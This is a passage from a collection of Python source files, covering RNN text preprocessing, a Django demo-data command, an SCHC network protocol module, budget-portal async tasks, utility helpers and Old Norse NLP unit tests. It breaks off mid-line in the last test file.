train_data_set.extend([data_set[category][index] for index in index_list[:middle]])\n verify_data_set.extend([data_set[category][index] for index in index_list[middle:end]])\n test_data_set.extend([data_set[category][index] for index in index_list[end:]])\n\n print(\"the size of train_dataset is {}\".format(len(train_data_set)))\n print(\"the size of verify_dataset is {}\".format(len(verify_data_set)))\n print(\"the size of test_dataset is {}\".format(len(test_data_set)))\n\n np.save(os.path.join(output_src, \"train_file_list.npy\"), train_data_set)\n np.save(os.path.join(output_src, \"valid_file_list.npy\"), verify_data_set)\n np.save(os.path.join(output_src, \"test_file_list.npy\"), test_data_set)\n\n print(\"Divide Finish\")\n\n # 建立词典\n @staticmethod\n def build_vocab(train_file_list_src, vocab_src, vocab_size=8000):\n train_files = np.load(train_file_list_src)\n print(\"the num of train files is {}\".format(len(train_files)))\n\n vocab = set()\n\n for file in train_files:\n with open(file, \"r\", encoding=\"utf-8\") as f:\n line = f.readline()\n words = line.strip().split(\" \")\n for word in words:\n if not len(word):\n continue\n vocab.add(word)\n # 添加一个 来将所有文本pad为同一长度\n vocab = [''] + list(vocab)\n\n np.save(vocab_src, vocab)\n print(\"The size of vocab is {}\".format(len(vocab)))\n\n # 加载词典\n @staticmethod\n def load_vocab(vocab_src):\n vocab = np.load(vocab_src)\n word_to_id = dict(zip(vocab, range(len(vocab))))\n\n return vocab, word_to_id\n\n @staticmethod\n def text_vectorization(file_src, vocab, word_to_id):\n text_vector = []\n label = int(file_src[-1]) # 9类 最后一位为类别\n text_len = 0\n with open(file_src, \"r\", encoding=\"utf-8\") as f:\n line = f.readline().strip()\n words = line.split(\" \")\n for word in words:\n if word in vocab:\n text_vector.append(word_to_id[word])\n text_len += 1\n\n print(\"{} is finished\".format(file_src))\n return text_vector, label, text_len\n\n # 将一个数据集中的文件向量化\n def batch_vectorization(self, data_set_src, vocab, word_to_id, output_src):\n if not os.path.exists(output_src):\n os.mkdir(output_src)\n\n data_set = np.load(data_set_src)\n x_list = []\n y_list = []\n text_len_list = []\n cnt = 0\n print(len(data_set))\n for data in data_set:\n x, y, text_len = self.text_vectorization(data, vocab, word_to_id)\n x_list.append(x)\n y_list.append(y)\n text_len_list.append(text_len)\n print(cnt)\n cnt += 1\n\n y_pad = kr.utils.to_categorical(y_list, num_classes=num_category) # 将标签转换为one-hot表示 9类\n # 保存以便多次使用\n np.save(os.path.join(output_src, \"x.npy\"), x_list)\n np.save(os.path.join(output_src, \"y.npy\"), y_pad)\n np.save(os.path.join(output_src, \"text_len.npy\"), text_len_list)\n\n print(\"the dataset {} vectorization is finished\".format(data_set_src))\n\n @staticmethod\n def get_sequence_length(x_batch):\n\n sequence_lengths = []\n for x in x_batch:\n actual_length = np.sum(np.sign(x))\n sequence_lengths.append(actual_length)\n return sequence_lengths\n\n\nif __name__ == \"__main__\":\n\n data = Data()\n # 源数据集路径\n dirs_src = \"\"\n # 分词后的文件保存路径\n output_src = \"\"\n # 分词后的文件列表,用于划分数据集\n file_list_src = os.path.join(output_src, \"file_list.npy\")\n # 划分完数据集后的文件列表\n divided_files_list_src = \"data/file_list\"\n # 词典的保存路径\n vocab_src = \"data/middle_result/vocab.npy\"\n\n # 停用词\n stop_words_src = \"data/stopwords.txt\"\n\n stop_words = data.load_stop_words(stop_words_src)\n # 分词 同时保存一个文件列表\n data.batch_process(dirs_src, output_src, stop_words)\n\n # 划分后的数据集文件列表\n proportion = [0.7, 0.2]\n # 划分数���集\n data.divide_data_set(file_list_src, divided_files_list_src, proportion)\n\n # 在训练集上建立词典\n data.build_vocab(os.path.join(divided_files_list_src, \"train_file_list.npy\"), vocab_src)\n\n # 加载词典\n vocab, word_to_id = data.load_vocab(vocab_src)\n\n # 训练集向量化\n train_src = \"data/vectorized_data/train\"\n data.batch_vectorization(os.path.join(divided_files_list_src, \"train_file_list.npy\"),\n vocab, word_to_id, train_src)\n\n # 验证集向量化\n validation_src = \"data/vectorized_data/validation\"\n data.batch_vectorization(os.path.join(divided_files_list_src, \"valid_file_list.npy\"),\n vocab, word_to_id, validation_src)\n\n # 测试集向量化\n test_src = \"data/vectorized_data/test\"\n data.batch_vectorization(os.path.join(divided_files_list_src, \"test_file_list.npy\"),\n vocab, word_to_id, test_src)\n\n\n\n\n\n","sub_path":"RNN/data_process.py","file_name":"data_process.py","file_ext":"py","file_size_in_byte":9693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"481949730","text":"from datetime import timedelta\n\nfrom django.core.management import BaseCommand\nfrom django.utils import timezone\n\nfrom SalsaVerde.stock.models import (\n Company,\n Container,\n ContainerType,\n GoodsIntake,\n Ingredient,\n IngredientType,\n Product,\n ProductIngredient,\n ProductType,\n Supplier,\n User,\n YieldContainer,\n)\n\n\nclass Command(BaseCommand):\n def handle(self, **kwargs):\n company = Company.objects.create(name='Test Company')\n\n user = User.objects.create_user(\n email='owner@salsaverde.com', first_name='Bruce', last_name='Banner', password='testing', company=company\n )\n supplier_1 = Supplier.objects.create(\n name='Green Food Suppliers',\n street='1 Fresh Fruit Avenue',\n town='Armagh',\n country='Northern Ireland',\n postcode='BT62 H90',\n email='green_food@example.com',\n main_contact='Beatrice',\n company=company,\n )\n supplier_2 = Supplier.objects.create(\n name='Modena Vinegar Suppliers',\n street='2 Pedro St',\n town='Modena',\n country='Italy',\n postcode='1h2b3n',\n email='modena_balsamic@example.com',\n main_contact='Mario',\n company=company,\n )\n bottle_type_200 = ContainerType.objects.create(\n name='200 ml bottle', size=0.2, type=ContainerType.TYPE_BOTTLE, company=company\n )\n bottle_type_100 = ContainerType.objects.create(\n name='100 ml bottle', size=0.1, type=ContainerType.TYPE_BOTTLE, company=company\n )\n cap_type = ContainerType.objects.create(name='Black Cap', type=ContainerType.TYPE_CAP, company=company)\n\n containers_intake = GoodsIntake.objects.create(\n intake_date=timezone.now(), date_created=timezone.now(), intake_user=user\n )\n bottle_200 = Container.objects.create(\n container_type=bottle_type_200,\n batch_code='123bot',\n goods_intake=containers_intake,\n quantity=1500,\n )\n bottle_100 = Container.objects.create(\n container_type=bottle_type_100, batch_code='456bot', goods_intake=containers_intake, quantity=1200\n )\n cap = Container.objects.create(\n container_type=cap_type, batch_code='789cap', goods_intake=containers_intake, quantity=2700\n )\n\n bb_type = IngredientType.objects.create(name='Blackberries', unit=IngredientType.UNIT_KILO, company=company)\n thyme_type = IngredientType.objects.create(name='Thyme', unit=IngredientType.UNIT_KILO, company=company)\n vinegar_type = IngredientType.objects.create(\n name='Black Balsamic', unit=IngredientType.UNIT_LITRE, company=company\n )\n\n three_days = timezone.now() - timedelta(days=3)\n ingreds_intake = GoodsIntake.objects.create(intake_date=three_days, date_created=three_days, intake_user=user)\n bb = Ingredient.objects.create(\n ingredient_type=bb_type, batch_code='bb123', supplier=supplier_1, quantity=20, goods_intake=ingreds_intake\n )\n thyme = Ingredient.objects.create(\n ingredient_type=thyme_type,\n batch_code='thy456',\n supplier=supplier_1,\n quantity=10,\n goods_intake=ingreds_intake,\n )\n vinegar = Ingredient.objects.create(\n ingredient_type=vinegar_type,\n batch_code='v789',\n supplier=supplier_2,\n quantity=95,\n goods_intake=ingreds_intake,\n )\n\n btt_type = ProductType.objects.create(name='Blackberry and Thyme', company=company)\n btt_type.ingredient_types.add(*(bb_type, thyme_type, vinegar_type))\n btt = Product.objects.create(\n product_type=btt_type,\n date_of_infusion=timezone.now() - timedelta(days=14),\n date_of_bottling=timezone.now(),\n date_of_best_before=timezone.now() + timedelta(days=365 * 2),\n yield_quantity=55,\n batch_code='BTT123ABC',\n )\n ProductIngredient.objects.create(product=btt, ingredient=bb, quantity=15)\n ProductIngredient.objects.create(product=btt, ingredient=thyme, quantity=0.5)\n ProductIngredient.objects.create(product=btt, ingredient=vinegar, quantity=52)\n YieldContainer.objects.create(product=btt, container=bottle_200, quantity=175)\n YieldContainer.objects.create(product=btt, container=bottle_100, quantity=200)\n YieldContainer.objects.create(product=btt, container=cap, quantity=375)\n print('User created with details:\\n owner@salsaverde.com\\n testing')\n","sub_path":"SalsaVerde/stock/management/commands/create_demo_data.py","file_name":"create_demo_data.py","file_ext":"py","file_size_in_byte":4703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"613377422","text":"#len() - długość - length\n#.append - dodać\n#.extend - rozszerzyć\n#.insert(index, co) - wstawić\n#.index - indeks danego el.\n#sort(reverse=False) - sortuj rosnąco\n#max()\n#min()\n#.count - ile razy coś wystąpi\n#.pop - usuń ostatni el.\n#.remove - usuń pierwsze wystąpienie\n#.clear - wyczyść liste\n#.reverse - zamień kolejność\n\n\nlista1 = [54, 1, -2, 20, 1]\nlista2 = [\"Arkadiusz\", \"Wioletta\"]\n\nlista1.reverse()\n\nprint(lista1)\n\n\n","sub_path":"list/operacjeifunkcjenalistach.py","file_name":"operacjeifunkcjenalistach.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"249890615","text":"\"\"\"\n.. module:: schc\n :platform: Python, Micropython\n\"\"\"\n# ---------------------------------------------------------------------------\n\nfrom gen_base_import import * # used for now for differing modules in py/upy\nfrom gen_utils import dprint, dpprint, set_debug_output\n\n# ---------------------------------------------------------------------------\n\nfrom frag_recv import ReassemblerAckOnError\nfrom frag_recv import ReassemblerNoAck\nfrom frag_send import FragmentAckOnError\nfrom frag_send import FragmentNoAck\nimport frag_msg\nfrom compr_parser import *\nfrom compr_core import Compressor, Decompressor\n\nfrom gen_utils import dtrace\nimport binascii\n\n# ---------------------------------------------------------------------------\n\nclass SessionManager:\n \"\"\"Maintain the table of active fragmentation/reassembly sessions.\n\n Internals:\n session_table[(l2_address, rule_id, rule_id_size, dtag)]\n -> session\n\n When 'unique_peer' is true, the l2_address for another peer is 'None'.\n \"\"\"\n def __init__(self, protocol, unique_peer):\n self.protocol = protocol\n self.unique_peer = unique_peer\n self.session_table = {}\n\n def _filter_session_id(self, session_id):\n if self.unique_peer:\n session_id = (None,) + session_id[1:]\n return session_id\n\n def find_session(self, session_id):\n session_id = self._filter_session_id(session_id)\n session = self.session_table.get(session_id, None)\n return session\n\n def _add_session(self, session_id, session):\n session_id = self._filter_session_id(session_id) \n assert session_id not in self.session_table\n self.session_table[session_id] = session\n \n def create_reassembly_session(self, context, rule, session_id):\n session_id = self._filter_session_id(session_id) \n l2_address, rule_id, unused, dtag = session_id\n if self.unique_peer:\n l2_address = None\n mode = rule[T_FRAG][T_FRAG_MODE]\n if mode == \"noAck\":\n session = ReassemblerNoAck(\n self.protocol, context, rule, dtag, l2_address)\n elif mode == \"ackAlways\":\n raise NotImplementedError(\"FRMode:\", mode)\n elif mode == \"ackOnError\":\n session = ReassemblerAckOnError(\n self.protocol, context, rule, dtag, l2_address)\n else:\n raise ValueError(\"FRMode:\", mode)\n self._add_session(session_id, session)\n return session\n\n def create_fragmentation_session(self, l2_address, context, rule):\n if self.unique_peer:\n l2_address = None\n\n rule_id = rule[T_RULEID]\n rule_id_length = rule[T_RULEIDLENGTH]\n dtag_length = rule[T_FRAG][T_FRAG_PROF][T_FRAG_DTAG]\n dtag_limit = 2**dtag_length\n\n for dtag in range(0, dtag_limit):\n session_id = (l2_address, rule_id, rule_id_length, dtag)\n session_id = self._filter_session_id(session_id) \n if session_id not in self.session_table:\n break\n\n if dtag == dtag_limit:\n self.protocol.log(\"cannot create session, no dtag available\")\n return None\n\n mode = rule[T_FRAG][T_FRAG_MODE]\n if mode == \"noAck\":\n session = FragmentNoAck(self.protocol, context, rule, dtag)\n elif mode == \"ackAlways\":\n raise NotImplementedError(\n \"{} is not implemented yet.\".format(mode))\n elif mode == \"ackOnError\":\n session = FragmentAckOnError(self.protocol, context, rule, dtag)\n else:\n raise ValueError(\"invalid FRMode: {}\".format(mode))\n self._add_session(session_id, session) \n return session\n\n def get_state_info(self, **kw):\n return [(session_id, session.get_state_info(**kw))\n for (session_id, session) in self.session_table.items() ]\n\n# ---------------------------------------------------------------------------\n\nclass SCHCProtocol:\n \"\"\"This class is the entry point for the openschc\n (in this current form, object composition is used)\n\n \"\"\"\n\n def __init__(self, config, system, layer2, layer3, role, unique_peer):\n assert role in [\"device\", \"core-server\"]\n self.config = config\n self.unique_peer = unique_peer\n self.role = role\n self.system = system\n self.scheduler = system.get_scheduler()\n self.layer2 = layer2\n self.layer3 = layer3\n self.layer2._set_protocol(self)\n self.layer3._set_protocol(self)\n self.compressor = Compressor(self)\n self.decompressor = Decompressor(self)\n self.session_manager = SessionManager(self, unique_peer)\n if hasattr(config, \"debug_level\"):\n set_debug_output(True)\n\n def _log(self, message):\n self.log(\"schc\", message)\n\n def log(self, name, message):\n self.system.log(name, message)\n\n def set_rulemanager(self, rule_manager):\n self.rule_manager = rule_manager\n\n def get_system(self):\n return self.system\n\n\n def _apply_compression(self, dst_l3_address, raw_packet):\n \"\"\"Apply matching compression rule if one exists.\n \n In any case return a SCHC packet (compressed or not) as a BitBuffer\n \"\"\"\n context = self.rule_manager.find_context_bydstiid(dst_l3_address)\n if self.role == \"device\":\n t_dir = T_DIR_UP\n else:\n assert self.role == \"core-server\"\n t_dir = T_DIR_DW\n\n # Parse packet as IP packet and apply compression rule\n P = Parser(self)\n parsed_packet, residue, parsing_error = P.parse(raw_packet, t_dir)\n self._log(\"parser {} {} {}\".format(parsed_packet, residue, parsing_error))\n if parsed_packet is None:\n return BitBuffer(raw_packet)\n\n # Apply compression rule\n rule = self.rule_manager.FindRuleFromPacket(parsed_packet, direction=t_dir)\n self._log(\"compression rule {}\".format(rule))\n if rule is None:\n rule = self.rule_manager.FindNoCompressionRule(dst_l3_address)\n self._log(\"no-compression rule {}\".format(rule))\n\n if rule is None:\n # XXX: not putting any SCHC compression header? - need fix\n self._log(\"rule for compression/no-compression not found\")\n return BitBuffer(raw_packet)\n\n if rule[\"Compression\"] == []: # XXX: should be \"NoCompression\"\n self._log(\"compression result no-compression\")\n return BitBuffer(raw_packet)\n\n schc_packet = self.compressor.compress(rule, parsed_packet, residue, t_dir)\n dprint(schc_packet)\n schc_packet.display(\"bin\")\n self._log(\"compression result {}\".format(schc_packet))\n\n return schc_packet\n\n\n def _make_frag_session(self, dst_l2_address):\n \"\"\"Search a fragmentation rule, create a session for it, return None if not found\"\"\"\n # assume need for fragmentation was checked beforehands\n l2_addr = self.layer2.get_address() #XXX: don't find rule based on my address???\n frag_rule = self.rule_manager.FindFragmentationRule(l2_addr)\n if frag_rule is None:\n self._log(\"fragmentation rule not found\")\n return None\n\n # Perform fragmentation\n rule = frag_rule\n context = None # LT: don't know why context is needed, should be self.rule_manager which handle the context\n self._log(\"fragmentation rule_id={}\".format(rule[T_RULEID]))\n\n session = self.session_manager.create_fragmentation_session(\n dst_l2_address, context, rule)\n if session is None:\n self._log(\"fragmentation session could not be created\") # XXX warning\n return None\n\n return session\n\n\n def schc_send(self, dst_l2_address, dst_l3_address, raw_packet):\n self._log(\"recv-from-l3 {} {} {}\".format(dst_l2_address, dst_l3_address, raw_packet))\n\n # Perform compression\n packet_bbuf = self._apply_compression(dst_l3_address, raw_packet)\n\n # Check if fragmentation is needed.\n if packet_bbuf.count_added_bits() < self.layer2.get_mtu_size():\n self._log(\"fragmentation not needed size={}\".format(\n packet_bbuf.count_added_bits()))\n args = (packet_bbuf.get_content(), dst_l2_address)\n self.scheduler.add_event(0, self.layer2.send_packet, args) # XXX: what about directly send?\n return\n\n # Start a fragmentation session from rule database\n frag_session = self._make_frag_session(dst_l2_address)\n if frag_session is not None:\n frag_session.set_packet(packet_bbuf)\n frag_session.start_sending()\n\n\n def schc_recv(self, sender_l2_address, raw_packet):\n #self._log(\"recv-from-L2 {} {}\".format(sender_l2_addr, raw_packet))\n frag_rule = self.rule_manager.FindFragmentationRule()\n\n packet_bbuf = BitBuffer(raw_packet)\n\n dtrace('>', binascii.hexlify(packet_bbuf.get_content()), ' ')\n dtrace ('\\t\\t\\t-----------{:3}--------->|'.format(len(packet_bbuf._content)))\n\n dtag_length = frag_rule[T_FRAG][T_FRAG_PROF][T_FRAG_DTAG]\n if dtag_length > 0:\n dtag = packet_bbuf.get_bits(dtag_length, position=frag_rule[T_RULEIDLENGTH])\n else:\n dtag = None # XXX: get_bits(0) should work?\n\n rule_id = frag_rule[T_RULEID]\n rule_id_length = frag_rule[T_RULEIDLENGTH]\n session_id = (sender_l2_address, rule_id, rule_id_length, dtag)\n session = self.session_manager.find_session(session_id)\n\n if session is not None:\n dprint(\"{} session found\".format(\n session.get_session_type().capitalize()),\n session.__class__.__name__)\n else:\n context = None\n session = self.session_manager.create_reassembly_session(\n context, frag_rule, session_id)\n dprint(\"New reassembly session created\", session.__class__.__name__)\n\n session.receive_frag(packet_bbuf, dtag)\n\n\n def process_decompress(self, packet_bbuf, dev_l2_addr, direction):\n rule = self.rule_manager.FindRuleFromSCHCpacket(packet_bbuf, dev_l2_addr)\n if rule is None:\n # reject it.\n self._log(\"No compression rule for SCHC packet, sender L2addr={}\"\n .format(dev_l2_addr))\n self.scheduler.add_event(0, self.layer3.recv_packet,\n (dev_l2_addr, packet_bbuf.get_content()))\n return\n\n if \"Compression\" not in rule:\n # reject it.\n self._log(\"Not compression parameters for SCHC packet, sender L2addr={}\".format(\n dev_l2_addr))\n return\n\n if rule[\"Compression\"]:\n dprint(\"---------------------- Decompression ----------------------\")\n dprint(\"---------------------- Decompression Rule-------------------------\")\n self._log(\"compression rule_id={}\".format(rule[T_RULEID]))\n dprint(\"receiver frag received:\", packet_bbuf)\n dprint('rule {}'.format(rule))\n dprint(\"------------------------ Decompression ---------------------------\")\n raw_packet = self.decompressor.decompress(packet_bbuf, rule, direction)\n dprint(\"---- Decompression result ----\")\n dprint(raw_packet)\n args = (dev_l2_addr, raw_packet)\n self.scheduler.add_event(0, self.layer3.recv_packet, args)\n\n # def process_decompress(self, context, dev_l2_addr, schc_packet):\n # self._log(\"compression rule_id={}\".format(context[\"comp\"][\"ruleID\"]))\n # raw_packet = self.decompressor.decompress(context, schc_packet)\n # args = (dev_l2_addr, raw_packet)\n # self.scheduler.add_event(0, self.layer3.recv_packet, args)\n\n def get_state_info(self, **kw):\n result = {\n \"sessions\": self.session_manager.get_state_info(**kw)\n }\n return result\n\n def get_init_info(self, **kw):\n result = {\n \"role\": self.role,\n \"unique-peer\": self.unique_peer\n }\n result[\"rule-manager\"] = self.rule_manager.get_init_info(**kw)\n return result\n","sub_path":"src/protocol.py","file_name":"protocol.py","file_ext":"py","file_size_in_byte":12240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"59133901","text":"import torch\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\n\ndef forward(img, img_size,\n SRnet, \n Resnet,\n MLP):\n\n img = img.cuda() # img size: (224, 224)\n\n\n \"\"\" SR \"\"\"\n # SR done in dataloader.\n \n size = img_size.unsqueeze(1).float().cuda()\n target_size = Variable((torch.ones(len(img), 1)*16).cuda(), requires_grad=False)\n \n # print(size.shape, size64.shape)\n\n _, f = Resnet(img) # discard original classifier\n fp = MLP(torch.cat([f, target_size/size], 1))\n\n return fp\n # return f\n","sub_path":"evaluate/evaluate_forward.py","file_name":"evaluate_forward.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"374637175","text":"# Copyright (c) 2013 Rackspace Hosting, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n#\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport random\nimport sys\nimport time\n\nfrom marconi.common import cli\nfrom marconi.common import config\nfrom marconi.openstack.common import log as logging\nfrom marconi.queues import bootstrap\n\nPROJECT_CFG = config.project('marconi')\nLOG = logging.getLogger(__name__)\n\n\n@cli.runnable\ndef run():\n \"\"\"Entry point to start marconi-gc.\n\n Operators should run 2-3 instances on different\n boxes for fault-tolerance.\n\n Note: This call blocks until the process is killed\n or interrupted.\n \"\"\"\n\n try:\n info = _(u'Starting marconi-gc')\n print(info + _(u'. Use CTRL+C to exit...\\n'))\n LOG.info(info)\n\n boot = bootstrap.Bootstrap(cli_args=sys.argv[1:])\n storage_driver = boot.storage\n gc_interval = storage_driver.gc_interval\n\n # NOTE(kgriffs): Don't want all garbage collector\n # instances running at the same time (will peg the DB).\n offset = random.random() * gc_interval\n time.sleep(offset)\n\n while True:\n storage_driver.gc()\n time.sleep(gc_interval)\n\n except NotImplementedError as ex:\n print(_(u'The configured storage driver does not support GC.\\n'))\n LOG.exception(ex)\n","sub_path":"marconi/cmd/gc.py","file_name":"gc.py","file_ext":"py","file_size_in_byte":1802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"202664593","text":"import sys\nimport math\n\n__author__ = 'andris'\n\nfrom random import randint\n\n\ndef veletlen_szam(tol=1, ig=100):\n return randint(tol, ig)\n\n\ndef beolvas_szoveg(keres=\"Írj be egy szöveget\"):\n return input(\"%s: \" % keres)\n\n\ndef beolvas_egesz_szam(keres=\"Írj be egy egész számot\"):\n while True:\n szoveg = beolvas_szoveg(keres)\n try:\n return int(szoveg)\n except ValueError:\n print(\"Nem egész számot írtál be!\")\n except Exception as e:\n raise e\n\n\ndef beolvas_szam(keres=\"Írj be egy számot\"):\n while True:\n szoveg = beolvas_szoveg(keres)\n try:\n return float(szoveg)\n except ValueError:\n print(\"Nem számot írtál be!\")\n except Exception as e:\n raise e\n\n\ndef kilep(varakozas=False):\n if varakozas:\n beolvas_szoveg(keres=\"\\nA program befejeződött, a kilépésheznyomjon egy ENTER-t\")\n sys.exit(0)\n\n\ndef maradek_kiszamitasa(szam, oszto):\n hanyados = szam / oszto\n megvan_benne = math.trunc(hanyados)\n maradek = szam - megvan_benne * oszto\n return maradek\n\n\ndef oszthatosag_ellenorzese(szam, oszto):\n maradek = maradek_kiszamitasa(szam, oszto)\n return maradek == 0\n","sub_path":"Eszkozok/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"562548597","text":"\"\"\"\nTasks for async work.\n\nTasks MUST be idempotent.\n\"\"\"\nimport logging\nimport traceback\n\nfrom django_q.tasks import async_task\nfrom budgetportal import infra_projects\nfrom budgetportal.models import Department, IRMSnapshot\nfrom django.conf import settings\nfrom django.core.management import call_command\n\nckan = settings.CKAN\nlogger = logging.getLogger(__name__)\n\n\ndef create_dataset(department_id, name, title, group_name):\n department = Department.objects.get(pk=department_id)\n dataset = department.get_dataset(group_name, name)\n if dataset:\n logger.info(\"Not recreating existing dataset %s\", name)\n return {\"status\": \"Already exists\", \"package\": dataset.package}\n else:\n dataset = department.create_dataset(name, title, group_name)\n return {\"status\": \"Created\", \"package\": dataset.package}\n\n\ndef create_resource(department_id, group_name, dataset_name, name, format, url):\n department = Department.objects.get(pk=department_id)\n dataset = department.get_dataset(group_name, dataset_name)\n resource = dataset.get_resource(format, name)\n if resource:\n logger.info(\n \"Not recreating existing resource %s %s on dataset %s\",\n name,\n format,\n dataset_name,\n )\n return {\"status\": \"Already exists\", \"resource\": resource}\n else:\n resource = dataset.create_resource(name, format, url)\n return {\"status\": \"Created\", \"package\": resource}\n\n\nclass RowError(Exception):\n def __init__(self, message, row_result, row_num):\n super(Exception, self).__init__(message)\n self.row_result = row_result\n self.row_num = row_num\n\n\ndef format_error(error):\n return (\"Error:\\n%r\\n\\nTraceback:\\n%s\\n\\nRow:\\n%s\\n\") % (\n error.error,\n error.traceback,\n format_row(error.row),\n )\n\n\ndef format_row(ordered_dict):\n return \"\\n\".join([\"%s: %r\" % (k, v) for (k, v) in ordered_dict.items()])\n\n\ndef import_irm_snapshot(snapshot_id):\n try:\n snapshot = IRMSnapshot.objects.get(pk=snapshot_id)\n result = infra_projects.import_snapshot(snapshot)\n for row_num, row_result in enumerate(result.rows):\n if row_result.errors:\n raise RowError(\"Error with row %d\" % row_num, row_result, row_num)\n async_task(\n index_irm_projects,\n snapshot_id=snapshot_id,\n task_name=\"Update infrastructure projects search index following IRM snapshot import\",\n )\n return {\n \"totals\": result.totals,\n \"validation_errors\": [row.validation_error for row in result.rows],\n }\n except RowError as e:\n raise Exception(\n (\"Error on row %d: %s\\n\\n\" \"Technical details: \\n\\n\" \"%s\")\n % (e.row_num, e, \"\\n\".join([format_error(e) for e in e.row_result.errors]),)\n )\n except Exception as e:\n raise Exception(\"Error: %s\\n\\n%s\" % (e, traceback.format_exc()))\n\n\ndef index_irm_projects(snapshot_id):\n return call_command(\"haystack_update_index\", \"-r\")\n","sub_path":"budgetportal/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":3045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"351543502","text":"\"\"\"Test for Old Norse\"\"\"\n\nimport os\nimport unittest\n\nfrom cltk.corpus.swadesh import Swadesh\nimport cltk.phonology.old_norse.transcription as ont\nfrom cltk.stop.old_norse.stops import STOPS_LIST as OLD_NORSE_STOPS\nfrom nltk.tokenize.punkt import PunktLanguageVars\nfrom cltk.phonology import utils as ut\nfrom cltk.tokenize.word import WordTokenizer\nfrom cltk.phonology.syllabify import Syllabifier\nfrom cltk.tag.pos import POSTag\nfrom cltk.corpus.utils.importer import CorpusImporter\nfrom cltk.tokenize.word import tokenize_old_norse_words\nfrom cltk.corpus.old_norse.syllabifier import invalid_onsets\nfrom cltk.inflection.old_norse import pronouns, nouns\nimport cltk.inflection.utils as decl_utils\nfrom cltk.prosody.old_norse.verse import Fornyrdhislag, Ljoodhhaattr, MetreManager, UnspecifiedStanza\n\n\n__author__ = [\"Clément Besnier \", ]\n\n\nclass TestOldNorse(unittest.TestCase):\n \"\"\"Class for unittest\"\"\"\n def setUp(self):\n corpus_importer = CorpusImporter(\"old_norse\")\n corpus_importer.import_corpus(\"old_norse_models_cltk\")\n file_rel = os.path.join('~/cltk_data/old_norse/model/old_norse_models_cltk/README.md')\n file = os.path.expanduser(file_rel)\n file_exists = os.path.isfile(file)\n self.assertTrue(file_exists)\n\n def test_swadesh_old_norse(self):\n \"\"\"Swadesh list\"\"\"\n swadesh = Swadesh('old_norse')\n first_word = 'ek'\n match = swadesh.words()[0]\n self.assertEqual(first_word, match)\n\n def test_old_norse_transcriber(self):\n \"\"\"phonetic transcription\"\"\"\n example_sentence = \"Almáttigr guð skapaði í upphafi himin ok jörð ok alla þá hluti, er þeim fylgja, og \" \\\n \"síðast menn tvá, er ættir eru frá komnar, Adam ok Evu, ok fjölgaðist þeira kynslóð ok \" \\\n \"dreifðist um heim allan.\"\n\n tr = ut.Transcriber(ont.DIPHTHONGS_IPA, ont.DIPHTHONGS_IPA_class, ont.IPA_class, ont.old_norse_rules)\n transcribed_sentence = tr.main(example_sentence)\n target = \"[almaːtːiɣr guð skapaði iː upːhavi himin ɔk jœrð ɔk alːa θaː hluti ɛr θɛim fylɣja ɔɣ siːðast mɛnː \" \\\n \"tvaː ɛr ɛːtːir ɛru fraː kɔmnar adam ɔk ɛvu ɔk fjœlɣaðist θɛira kynsloːð ɔk drɛivðist um hɛim alːan]\"\n self.assertEqual(target, transcribed_sentence)\n\n def test_old_norse_stopwords(self):\n \"\"\"\n Stop words\n Test filtering Old Norse stopwords\n Sentence extracted from Eiríks saga rauða (http://www.heimskringla.no/wiki/Eir%C3%ADks_saga_rau%C3%B0a)\n \"\"\"\n sentence = 'Þat var einn morgin, er þeir Karlsefni sá fyrir ofan rjóðrit flekk nökkurn, sem glitraði við þeim'\n lowered = sentence.lower()\n punkt = PunktLanguageVars()\n tokens = punkt.word_tokenize(lowered)\n no_stops = [w for w in tokens if w not in OLD_NORSE_STOPS]\n target_list = ['var', 'einn', 'morgin', ',', 'karlsefni', 'rjóðrit', 'flekk', 'nökkurn', ',', 'glitraði']\n self.assertEqual(no_stops, target_list)\n\n def test_pos_tnt_tagger_old_norse(self):\n \"\"\"Test tagging Old Norse POS with TnT tagger.\"\"\"\n tagger = POSTag('old_norse')\n tagged = tagger.tag_tnt('Hlióðs bið ek allar.')\n print(tagged)\n self.assertTrue(tagged)\n\n def test_old_norse_word_tokenizer(self):\n \"\"\"Word tokenization\"\"\"\n text = \"Gylfi konungr var maðr vitr ok fjölkunnigr. \" \\\n \"Hann undraðist þat mjök, er ásafólk var svá kunnigt, at allir hlutir gengu at vilja þeira.\"\n target = ['Gylfi', 'konungr', 'var', 'maðr', 'vitr', 'ok', 'fjölkunnigr', '.', 'Hann', 'undraðist', 'þat',\n 'mjök', ',', 'er', 'ásafólk', 'var', 'svá', 'kunnigt', ',', 'at', 'allir', 'hlutir', 'gengu', 'at',\n 'vilja', 'þeira', '.']\n word_tokenizer = WordTokenizer('old_norse')\n result = word_tokenizer.tokenize(text)\n # print(result)\n self.assertTrue(result == target)\n\n def test_syllabification_old_norse(self):\n \"\"\"Syllabification\"\"\"\n s = Syllabifier(language=\"old_norse\", break_geminants=True)\n text = \"Gefjun dró frá Gylfa glöð djúpröðul óðla, svá at af rennirauknum rauk, Danmarkar auka. Báru öxn ok \" \\\n \"átta ennitungl, þars gengu fyrir vineyjar víðri valrauf, fjögur höfuð.\"\n words = tokenize_old_norse_words(text)\n s.set_invalid_onsets(invalid_onsets)\n syllabified_words = [s.syllabify_SSP(word.lower())\n for word in words if word not in 